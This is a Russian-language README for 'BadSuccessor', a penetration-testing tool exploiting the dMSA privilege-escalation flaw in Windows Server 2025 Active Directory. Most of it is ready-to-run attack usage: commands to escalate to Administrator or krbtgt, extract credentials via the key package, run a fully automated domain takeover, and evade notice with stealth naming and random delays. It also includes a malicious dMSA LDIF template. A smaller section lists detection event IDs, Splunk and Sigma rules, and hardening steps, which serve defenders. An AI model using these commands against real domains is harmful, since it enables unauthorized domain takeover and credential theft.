
Эксплуатирует уязвимость повышения привилегий dMSA в Windows Server 2025 для перечисления доступных для записи подразделений (OU), повышения привилегий до произвольных доменных пользователей, извлечения учетных данных и захвата домена в рамках авторизованных оценок безопасности AD.
Инструмент для пентеста, эксплуатирующий уязвимость повышения привилегий dMSA (delegated Managed Service Account — делегированная управляемая учетная запись службы) в средах Active Directory на Windows Server 2025.
Этот инструмент предназначен только для авторизованного тестирования на проникновение и исследований в области безопасности. Использование этого инструмента против систем без явного письменного разрешения незаконно и неэтично. Авторы не несут ответственности за любое неправомерное использование или ущерб, причиненный этим инструментом.
ВАЖНО: Этот инструмент находится в активной разработке и тестировании.
Мы призываем сообщество специалистов по безопасности:
Используя этот инструмент, вы подтверждаете, что он находится в активной разработке и может потребовать изменений для вашего конкретного окружения.
BadSuccessor эксплуатирует уязвимость повышения привилегий в функции делегированной управляемой учетной записи службы (dMSA) в Windows Server 2025. Уязвимость позволяет злоумышленникам с минимальными правами повышать свои привилегии до уровня любого пользователя в домене, включая администраторов домена.
Этот инструмент основан на выдающемся исследовании Юваля Гордона из Akamai Technologies:
Уязвимость существует в процессе миграции dMSA, где:
msDS-ManagedAccountPrecededByLink или ms-DS-Managed-Account-Preceded-By-Link значение, указывающее на целевого пользователяmsDS-DelegatedMSAState или ms-DS-Delegated-MSA-State в значение 2 (миграция завершена)Кроме того, структура KERB-DMSA-KEY-PACKAGE содержит ключи пароля целевого пользователя, что позволяет извлекать учетные данные.
pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0
**Примечание**: Инструмент протестирован с impacket 0.12.0. Предупреждения о совместимости версий отображаются во время выполнения.
### Необязательные зависимости```bash
# For DNS discovery
pip3 install dnspython
# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2
# RHEL/CentOS/Fedora
sudo yum install krb5-devel
CreateChildWriteGenericWriteGenericAllgit clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py
### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0
python3 badsuccessor.py -d -u -p [options]
### Примеры быстрого старта
#### 1. Режим пробного запуска (НОВОЕ) — Проверка без внесения изменений```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"
python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets
python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator
#### 3. Выполнить атаку```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30
# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
--dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
--dmsa-display-name "Production Service"
# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--dmsa-pattern "svc{random}prod"
python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql
python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn
#### 5. Управление сессиями (НОВОЕ)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234
# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID
# Clean up all dMSAs from current session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-all
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-json results.json
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-csv writable_ous.csv
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-html report.html
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
--export-json attack_results.json --export-html attack_report.html
### Параметры командной строки
#### Аргументы аутентификации
| Параметр | Описание |
|--------|-------------|
| `-d, --domain` | Целевой домен (например, corp.local) **[ОБЯЗАТЕЛЬНО]** |
| `-u, --username` | Имя пользователя для аутентификации **[ОБЯЗАТЕЛЬНО]** |
| `-p, --password` | Пароль для аутентификации |
| `--dc-ip` | IP контроллера домена (автоопределение, если не указан) |
| `--ldaps` | Принудительное подключение LDAPS (SSL) на порту 636 |
#### Режимы атаки
| Параметр | Описание |
|--------|-------------|
| `--attack` | Выполнить атаку BadSuccessor |
| `--dry-run` | **НОВОЕ**: Симулировать атаку без внесения изменений |
| `--extract-creds` | Извлечь учётные данные с помощью key package |
| `--auto-pwn` | Полностью автоматизированный захват домена |
#### Указание цели
| Параметр | Описание |
|--------|-------------|
| `--target` | Целевой пользователь, которому повышаются привилегии |
| `--targets` | Список пользователей через запятую для извлечения учётных данных |
| `--validate-target` | **НОВОЕ**: Проверить целевую учётную запись без атаки |
#### Конфигурация dMSA
| Параметр | Описание |
|--------|-------------|
| `--dmsa-name` | Имя для вредоносного dMSA (автоматически генерируется, если не указано) |
| `--dmsa-pattern` | **НОВОЕ**: Шаблон для именования dMSA (например, "svc{random}{target}") |
| `--ou-dn` | Конкретный DN подразделения (OU) для использования (автоопределение, если не указан) |
| `--dmsa-description` | **НОВОЕ**: Описание для созданного dMSA |
| `--dmsa-display-name` | **НОВОЕ**: Отображаемое имя для созданного dMSA |
#### Параметры перечисления
| Параметр | Описание |
|--------|-------------|
| `--enumerate` | Перечислить подразделения (OU) с ЛЮБЫМИ правами записи |
| `--list-targets` | Перечислить наиболее ценные цели |
| `--check-schema` | Проверить схему Windows Server 2025 |
#### Управление сеансами (НОВОЕ)
| Параметр | Описание |
|--------|-------------|
| `--session-id` | Возобновить существующий сеанс |
| `--list-sessions` | Перечислить все доступные сеансы |
| `--cleanup-session SESSION_ID` | Очистить все dMSA из сеанса |
#### Параметры очистки
| Параметр | Описание |
|--------|-------------|
| `--cleanup` | Удалить созданный dMSA |
| `--dmsa-dn` | DN dMSA для операций очистки |
| `--cleanup-all` | **НОВОЕ**: Очистить все dMSA из текущего сеанса |
#### Параметры вывода
| Параметр | Описание |
|--------|-------------|
| `--export-json FILE` | **НОВОЕ**: Экспортировать результаты в JSON-файл |
| `--export-csv FILE` | **НОВОЕ**: Экспортировать результаты в CSV-файл |
| `--export-html FILE` | **НОВОЕ**: Сформировать HTML-отчёт |
| `--no-banner` | Подавить вывод баннера |
| `--verbose` | Включить подробный вывод |
#### Параметры скрытности (НОВОЕ)
| Параметр | Описание |
|--------|-------------|
| `--stealth` | Включить скрытый режим (безобидные имена) |
| `--random-delay SECONDS` | Случайная задержка между операциями (0-N секунд) |
## 🔧 Порядок проведения атаки
### Этап 1: Разведка
1. **Проверка схемы**: Подтверждает поддержку dMSA в Windows Server 2025 с помощью динамического определения атрибутов
2. **Обнаружение разрешений**: Определяет подразделения (OU) с ЛЮБЫМИ правами записи (не только CreateChild)
3. **Проверка цели**: **НОВОЕ** - всесторонний анализ целевой учётной записи перед атакой
### Этап 2: Эксплуатация
1. **Режим пробного запуска**: **НОВОЕ** - проверить возможность атаки без внесения изменений
2. **Создание dMSA**: Создаёт вредоносный dMSA с настраиваемыми атрибутами
3. **Манипулирование атрибутами**: Устанавливает ссылку на предшественника и состояние миграции с учётом схемы
4. **Отслеживание сеансов**: **НОВОЕ** - все созданные объекты отслеживаются для удобной очистки
### Этап 3: Аутентификация
1. **Запрос Kerberos TGT**: Получает TGT с унаследованными привилегиями
2. **Анализ PAC**: Проверяет унаследованные членства в группах
3. **Извлечение key package**: Расширенный разбор с несколькими запасными методами
### Этап 4: Постэксплуатация
Инструмент предоставляет готовые к использованию команды для:
- атак DCSync (дампа всех хэшей домена)
- удалённого выполнения команд
- горизонтального перемещения
- закрепления (persistence)
## 🔐 Функции, готовые к продакшену (v3.0.0)
### Динамическое определение схемы (НОВОЕ)
- Автоматически определяет, какое соглашение об именовании атрибутов используется в вашей среде
- Поддерживает все известные варианты атрибутов dMSA
- Запасные механизмы для различных сборок Windows Server 2025
### Расширенная проверка цели (НОВОЕ)
- Проверка целевых учётных записей перед атакой
- Обнаруживает отключённые, заблокированные или просроченные учётные записи
- Предупреждает о требованиях смарт-карт и ограничениях делегирования
- Предоставляет рекомендации на основе свойств цели
### Управление сеансами (НОВОЕ)
- Постоянное отслеживание сеансов между операциями
- Возобновление прерванных атак
- Массовая очистка всех созданных dMSA
- Файлы сеансов хранятся безопасно с правами 0700
### Режим пробного запуска (НОВОЕ)
- Проверка возможности атаки без внесения каких-либо изменений
- Проверяет схему, разрешения и цель
- Точно сообщает, что произошло бы во время реальной атаки
- Идеально подходит для разведки и планирования
### Функции скрытности (НОВОЕ)
- Безобидные шаблоны именования dMSA, которые не выделяются
- Случайные задержки между операциями
- Настраиваемые атрибуты dMSA (описание, отображаемое имя)
- Именование на основе шаблонов с переменными
### Профессиональные форматы вывода (НОВОЕ)
- Экспорт в JSON для интеграции с другими инструментами
- Экспорт в CSV для анализа в электронных таблицах
- HTML-отчёты с оформленным выводом
- Структурированные данные для всех операций
### Обработка ошибок корпоративного уровня
- Подробные сообщения об ошибках с практическими решениями
- Корректные запасные варианты для всех операций
- Подробное журналирование с меткой времени и уровнем серьёзности
- Подробный режим для устранения неполадок
### Полная реализация
- Все функции полностью реализованы (без кода-заглушек)
- Проверенная в продакшене структура кода
- Модульная архитектура со специализированными классами
- Полная совместимость с различными конфигурациями AD
## 🛡️ Обнаружение
### Идентификаторы событий для мониторинга
| ID события | Источник | Описание |
|----------|--------|-------------|
| **5137** | Безопасность | Создание объекта службы каталогов (dMSA) |
| **5136** | Безопасность | Изменение объекта службы каталогов |
| **2946** | Служба каталогов | Аутентификация групповой управляемой учётной записи службы (gMSA) |
| **4768** | Безопасность | Запрошен Kerberos TGT |
| **4769** | Безопасность | Запрошен билет службы Kerberos |
### Правила обнаружения```
# Splunk Query Example
index=windows EventCode=5137
| where ObjectClass="msDS-DelegatedManagedServiceAccount" OR ObjectClass="ms-DS-Delegated-Managed-Service-Account"
| where NOT user IN ("approved_admins")
# Sigma Rule Example
detection:
selection:
EventID: 5136
AttributeLDAPDisplayName:
- 'msDS-ManagedAccountPrecededByLink'
- 'ms-DS-Managed-Account-Preceded-By-Link'
condition: selection
Ограничьте разрешения OU ```powershell
Remove-ADPermission -Identity "OU=ServiceAccounts,DC=corp,DC=local" -User "Domain Users" -AccessRights CreateChild,Write,GenericWrite,GenericAll
Get-ADPermission -Identity "OU=ServiceAccounts,DC=corp,DC=local" | Where-Object {$_.IdentityReference -match "Authenticated Users|Everyone"}
Мониторинг операций dMSA ```powershell
Set-ADObject -Identity "CN=Schema,CN=Configuration,DC=corp,DC=local" -Add @{ 'msDS-ReplAttributeMetaData' = @('msDS-ManagedAccountPrecededByLink', 'ms-DS-Managed-Account-Preceded-By-Link') }
Реализация обнаружения
На основе исследования Akamai:
dn: CN=evil_dmsa,OU=ServiceAccounts,DC=corp,DC=local objectClass: top objectClass: msDS-GroupManagedServiceAccount objectClass: msDS-DelegatedManagedServiceAccount sAMAccountName: evil_dmsa$ userAccountControl: 4096
msDS-ManagedAccountPrecededByLink: CN=Administrator,CN=Users,DC=corp,DC=local
ms-DS-Managed-Account-Preceded-By-Link: CN=Administrator,CN=Users,DC=corp,DC=local msDS-DelegatedMSAState: 2 msDS-SupportedEncryptionTypes: 28
### Key Package Structure
Пакет KERB-DMSA-KEY-PACKAGE содержит:
- Текущие ключи: ключи шифрования dMSA
- Предыдущие ключи: ключи шифрования целевого пользователя (включая NTLM-хэш)
- Позволяет напрямую извлекать учётные данные без подбора пароля
## 🤝 Contributing
Мы приветствуем вклад! Пожалуйста:
1. Сделайте форк репозитория
2. Создайте ветку для функции (`git checkout -b feature/enhancement`)
3. Зафиксируйте изменения (`git commit -m 'Add new feature'`)
4. Отправьте изменения в ветку (`git push origin feature/enhancement`)
5. Отправьте Pull Request
### Development Guidelines
- Следуйте руководству по стилю PEP 8
- Добавляйте модульные тесты для новых функций
- Обновляйте документацию
- Проверяйте работу в нескольких средах AD
- Тестируйте с различными соглашениями об именовании атрибутов схемы
- Убедитесь, что все функции готовы к продакшену (без заглушек)
## 📝 Changelog
### v2.3.0 (2025-05-28) — Релиз, готовый к продакшену
- **NEW**: Режим пробного запуска для безопасной симуляции атаки
- **NEW**: Комплексное управление сеансами с сохранением состояния
- **NEW**: Проверка целевой учётной записи с подробным анализом
- **NEW**: Возможности экспорта (JSON, CSV, HTML)
- **NEW**: Скрытый режим с безобидными шаблонами именования
- **NEW**: Настраиваемые атрибуты dMSA (описание, отображаемое имя)
- **NEW**: Именование dMSA на основе шаблонов с переменными
- **NEW**: Поддержка случайной задержки для скрытных операций
- **NEW**: Динамическое определение атрибутов схемы
- **NEW**: Расширенный разбор пакета ключей с запасными вариантами
- **NEW**: Массовые операции очистки
- **NEW**: Профессиональная обработка ошибок и журналирование
- **IMPROVED**: Полная модульная архитектура
- **IMPROVED**: Проверка версий зависимостей
- **FIXED**: Весь код-заглушка заменён полными реализациями
### v2.2.0 (2025-05-27) — Обновление совместимости
- **FIXED**: Устранены проблемы с импортом impacket (удалена зависимость seq_decode)
- **FIXED**: Совместимость с impacket 0.12.0
- **FEATURE**: Добавлена поддержка обоих соглашений об именовании атрибутов dMSA
- **IMPROVED**: Улучшена обработка ошибок при сбоях импорта
- **IMPROVED**: Более надёжное определение схемы
### v2.1.0 (2025-05-25) — Полная реализация
- **MAJOR**: Расширенная проверка разрешений ACL — теперь обнаруживает ВСЕ разрешения на запись
- **MAJOR**: Добавлена поддержка групп по умолчанию (Authenticated Users, Everyone и т.д.)
- **FIXED**: Удалён весь код-заглушка
- **FIXED**: Полная реализация всех функций
- **IMPROVED**: Улучшена обработка ошибок и информативный вывод
- **IMPROVED**: Более полное перечисление OU (включая контейнеры)
- **FEATURE**: Показывает точные разрешения для каждой обнаруженной OU
- **FEATURE**: Обнаруживает защищённых пользователей и ограничения делегирования
### v2.0.0 (2025-05-24) — Расширенная редакция
- **Major**: Полная реализация аутентификации Kerberos
- **Major**: Извлечение KERB-DMSA-KEY-PACKAGE для кражи учётных данных
- **Major**: Базовая проверка разрешений ACL
- **Major**: Проверка схемы Windows Server 2025
- **Feature**: Режим массового извлечения учётных данных
- **Feature**: Auto-pwn для автоматического захвата домена
- **Feature**: Расширенное перечисление целей
- **Feature**: Генерация команд для постэксплуатации
- **Improvement**: Улучшенная обработка ошибок и журналирование
- **Improvement**: Структура кода, готовая к продакшену
## 📚 References
- [Оригинальное исследование Akamai](https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory)
- [Проблема GitHub №1 — расширенная проверка разрешений](https://github.com/cybrly/badsuccessor/issues/1)
- [Проблема GitHub №2 — именование атрибутов схемы](https://github.com/cybrly/badsuccessor/issues/2)
- [Центр реагирования на угрозы безопасности Microsoft](https://msrc.microsoft.com/)
## 🐛 Known Issues
- В некоторых средах могут использоваться другие соглашения об именовании атрибутов (обрабатывается динамическим определением)
- Хэш-аутентификация требует пароль для первоначальной реализации
- В некоторых средах может потребоваться ручная настройка Kerberos
- Правила обнаружения требуют настройки под каждую среду
## 🔍 Troubleshooting
### Import Errors
Если вы столкнулись с ошибками импорта impacket:```bash
# Ensure you have the correct version
pip3 uninstall impacket
pip3 install impacket==0.12.0
# Check version
python3 -c "import impacket; print(impacket.__version__)"
Теперь инструмент включает динамическое обнаружение схемы. Если оно по-прежнему не срабатывает:```powershell
Get-ADObject -Filter {name -like "delegated" -or name -like "preceded"} -SearchBase "CN=Schema,CN=Configuration,DC=corp,DC=local" | Select Name
### Ошибки отказа в доступе
Используйте новый режим dry-run для проверки:```bash
# Test without making changes
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Check your exact permissions
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --verbose
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
rm -rf /tmp/.badsuccessor_sessions/
## 📧 Контакты
По вопросам, проблемам или ответственному раскрытию:
- Откройте Issue на GitHub
- Следуйте практике ответственного раскрытия
- Разрешите 90 дней на разработку исправления
---
**⚡ Помните: с большой силой приходит большая ответственность. Всегда получайте надлежащее разрешение перед тестированием!** 🔐